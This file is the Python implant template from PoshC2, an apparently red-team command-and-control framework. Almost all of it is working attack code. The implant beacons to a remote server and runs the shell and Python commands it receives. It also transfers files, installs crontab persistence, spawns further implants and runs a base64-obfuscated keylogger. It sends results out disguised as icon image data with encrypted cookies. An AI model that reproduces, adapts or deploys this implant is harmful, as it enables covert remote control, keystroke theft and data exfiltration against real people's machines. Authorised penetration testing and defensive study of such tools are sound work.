PoshC2_Python/Files/Implant-Core.py

225 lines
15 KiB
Python
Raw Normal View History

import urllib2, os, subprocess, re, datetime, time, base64, string, random
def parse_sleep_time(sleep):
if sleep.endswith('s'):
return int(sleep.strip('s').strip())
elif sleep.endswith('m'):
return int(sleep.strip('m').strip()) * 60
elif sleep.endswith('h'):
return int(sleep.strip('h').strip()) * 60 * 60
hh = '%s'
timer = parse_sleep_time("%s".strip())
icoimage = [%s]
urls = [%s]
kd=time.strptime("%s","%%d/%%m/%%Y")
useragent = ""
imbase = "%s"
def keylog():
# keylogger imported from https://raw.githubusercontent.com/EmpireProject/Empire/fcd1a3d32b4c37a392c59ffe241b9cb973fde7f4/lib/modules/python/collection/osx/keylogger.py
import os,time,base64,subprocess,uuid
filename = "/tmp/%%s" %% uuid.uuid4().hex
b64logger = "aW1wb3J0IG9zLHRpbWUKZmlsZW5hbWUgPSAiUkVQTEFDRU1FIgpvdXRwdXQgPSBvcy5wb3BlbignZWNobyAicmVxdWlyZSBcJ2Jhc2U2NFwnO2V2YWwoQmFzZTY0LmRlY29kZTY0KFwnWkdWbUlISjFZbmxmTVY4NVgyOXlYMmhwWjJobGNqOE5DaUFnVWxWQ1dWOVdSVkpUU1U5T0xuUnZYMllnUGowZ01TNDVJQ1ltSUZKVlFsbGZWa1ZTVTBsUFRpNTBiMTltUERJdU13MEtaVzVrRFFwa1pXWWdjblZpZVY4eVh6TmZiM0pmYUdsbmFHVnlQdzBLSUNCU1ZVSlpYMVpGVWxOSlQwNHVkRzlmWmlBK1BTQXlMak1OQ21WdVpBMEtjbVZ4ZFdseVpTQW5kR2h5WldGa0p3MEtjbVZ4ZFdseVpTQW5abWxrWkd4bEp5QnBaaUJ5ZFdKNVh6SmZNMTl2Y2w5b2FXZG9aWEkvRFFweVpYRjFhWEpsSUNkbWFXUmtiR1V2YVcxd2IzSjBKeUJwWmlCeWRXSjVYekpmTTE5dmNsOW9hV2RvWlhJL0RRcHlaWEYxYVhKbElDZGtiQ2NnYVdZZ2JtOT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ZEhKcGJtZEhaWFJEVTNSeWFXNW5LRzVoYldVc0lHNWhiV1ZmWTNOMGNpd2dUVUZZWDBGUVVGOU9RVTFGTENBd2VEQTRNREF3TVRBd0tTQStJREFOQ2lBZ1lYQndYMjVoYldVZ1BTQnBaaUJqYjNCcFpXUWdkR2hsYmlCdVlXMWxYMk56ZEhJdWRHOWZjeUJsYkhObElDZFZibXR1YjNkdUp5QmxibVFOQ2lBZ1lubDBaWE1nUFNCclpYbHRZWEF1ZEc5ZmMzUnlEUW9nSUdOaGNGOW1iR0ZuSUQwZ1ptRnNjMlVOQ2lBZ1lYTmphV2tnUFNBd0RRb2dJR04wY214amFHRnlJRDBnSWlJTkNpQWdLREF1TGk0
modb64logger = base64.b64decode(b64logger)
modpayload = modb64logger.replace("REPLACEME",filename)
exec(modpayload)
pids = os.popen('ps aux | grep " ruby" | grep -v grep').read()
returnval = "%%s \\r\\nKeylogger started here: %%s" %% (pids, filename)
return returnval
def dfile(fname):
if fname:
with open(fname, "rb") as image_file:
imgbytes = image_file.read()
return "0000100001" + imgbytes
def ufile(base64file, fname):
fname = fname.replace('"','')
filebytes = base64.b64decode(base64file)
try:
output_file = open(fname, 'w')
output_file.write(filebytes)
output_file.close()
return "Uploaded file %%s" %% fname
except Exception as e:
return "Error with source file: %%s" %% e
def sai(delfile=False):
import uuid
filename = "/tmp/%%s.sh" %% (uuid.uuid4().hex)
imfull = base64.b64decode(imbase)
output_file = open(filename, 'w')
output_file.write(imfull)
output_file.close()
import subprocess
returnval = "Ran Start Another Implant - File dropped: %%s" %% filename
p = subprocess.Popen(["sh", filename])
if delfile:
p = subprocess.Popen(["rm", filename])
returnval = "Ran Start Another Implant - File removed: %%s" %% filename
return returnval
def persist():
import uuid, os
dircontent = "%%s/.%%s" %% (os.environ['HOME'], uuid.uuid4().hex)
os.mkdir(dircontent)
filename = "%%s/%%s_psh.sh" %% (dircontent, uuid.uuid4().hex)
imfull = base64.b64decode(imbase)
output_file = open(filename, 'w')
output_file.write(imfull)
output_file.close()
import subprocess as s
s.call("crontab -l | { cat; echo '* 10 * * * sh %%s'; } | crontab -" %% filename, shell=True)
return "Installing persistence via user crontab everyday at 10am: \\r\\n%%s" %% filename
def remove_persist():
import subprocess as s
s.call("crontab -l | { cat; } | grep -v '_psh.sh'| crontab -", shell=True)
return "Removed user persistence via crontab: \\r\\n**must delete files manually**"
def decrypt_bytes_gzip(key, data):
iv = data[0:16]
aes = get_encryption(key, iv)
data = aes.decrypt(data)
import StringIO
import gzip
infile = StringIO.StringIO(data[16:])
with gzip.GzipFile(fileobj=infile, mode="r") as f:
data = f.read()
return data
while(True):
cstr=time.strftime("%%d/%%m/%%Y",time.gmtime());cstr=time.strptime(cstr,"%%d/%%m/%%Y")
if cstr < kd:
key = "%s"
uri = "%s"
server = "%%s/%%s%%s" %% (serverclean, random.choice(urls), uri)
try:
time.sleep(timer)
ua='%s'
if hh: req=urllib2.Request(server,headers={'Host':hh,'User-agent':ua})
else: req=urllib2.Request(server,headers={'User-agent':ua})
res=urllib2.urlopen(req)
html = res.read()
except Exception as e:
E = e
#print "error %%s" %% e
#print html
if html:
try:
returncmd = decrypt(key, html)
returncmd = returncmd.rstrip('\\0')
if "multicmd" in returncmd:
returncmd = returncmd.replace("multicmd","")
returnval = ""
splits = returncmd.split("!d-3dion@LD!-d")
for split in splits:
taskId = split[:5].strip().strip('\x00')
cmd = split[5:].strip().strip('\x00')
if cmd[:10] == "$sleeptime":
sleep = cmd.replace("$sleeptime = ","").strip()
timer = parse_sleep_time(sleep)
elif cmd[:13] == "download-file":
fname = cmd.replace("download-file ","")
returnval = dfile(fname)
elif cmd[:11] == "upload-file":
fullparams = cmd.replace("upload-file ","")
params = fullparams.split(":")
returnval = ufile(params[1],params[0])
elif cmd[:19] == "install-persistence":
returnval = persist()
elif cmd[:14] == "get-keystrokes":
returnval = keylog()
elif cmd[:18] == "remove-persistence":
returnval = remove_persist()
elif cmd[:19] == "startanotherimplant":
returnval = sai(delfile=True)
elif cmd[:28] == "startanotherimplant-keepfile":
returnval = sai()
elif cmd[:10] == "loadmodule":
module = cmd.replace("loadmodule","")
exec(module)
try:
import sys
import StringIO
import contextlib
@contextlib.contextmanager
def stdoutIO(stdout=None):
old = sys.stdout
if stdout is None:
stdout = StringIO.StringIO()
sys.stdout = stdout
yield stdout
sys.stdout = old
with stdoutIO() as s:
exec module
if s.getvalue():
returnval = s.getvalue()
else:
returnval = "Module loaded"
except Exception as e:
returnval = "Error with source file: %%s" %% e
elif cmd.startswith("linuxprivchecker"):
args = cmd[len('linuxprivchecker'):].strip()
args = args.split()
pycode_index = args.index('-pycode')
encoded_module = args[pycode_index +1]
args.pop(pycode_index)
args.pop(pycode_index)
pycode = base64.b64decode(encoded_module)
process = ['python', '-c', pycode]
pycode = 'import sys; sys.argv = sys.argv[1:];' + pycode
import subprocess
returnval = subprocess.check_output(['python', '-c', pycode] + args)
elif cmd[:6] == "python":
module = cmd.replace("python ","")
try:
import sys
import StringIO
import contextlib
@contextlib.contextmanager
def stdoutIO(stdout=None):
old = sys.stdout
if stdout is None:
stdout = StringIO.StringIO()
sys.stdout = stdout
yield stdout
sys.stdout = old
with stdoutIO() as s:
exec module
returnval = s.getvalue()
except Exception as e:
returnval = "Error with source file: %%s" %% e
else:
try:
returnval = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
except subprocess.CalledProcessError as exc:
returnval = "ErrorCmd: %%s" %% exc.output
server = "%%s/%%s%%s" %% (serverclean, random.choice(urls), uri)
opener = urllib2.build_opener()
postcookie = encrypt(key, taskId)
data = base64.b64decode(random.choice(icoimage))
dataimage = data.ljust(1500, '\x00')
dataimagebytes = dataimage+(encrypt(key, returnval, gzip=True))
if hh: req=urllib2.Request(server,dataimagebytes,headers={'Host':hh,'User-agent':ua,'Cookie':"SessionID=%%s" %% postcookie})
else: req=urllib2.Request(server,dataimagebytes,headers={'User-agent':ua,'Cookie':"SessionID=%%s" %% postcookie})
res=urllib2.urlopen(req);
response = res.read()
except Exception as e:
E = e
# print "error %%s" %% e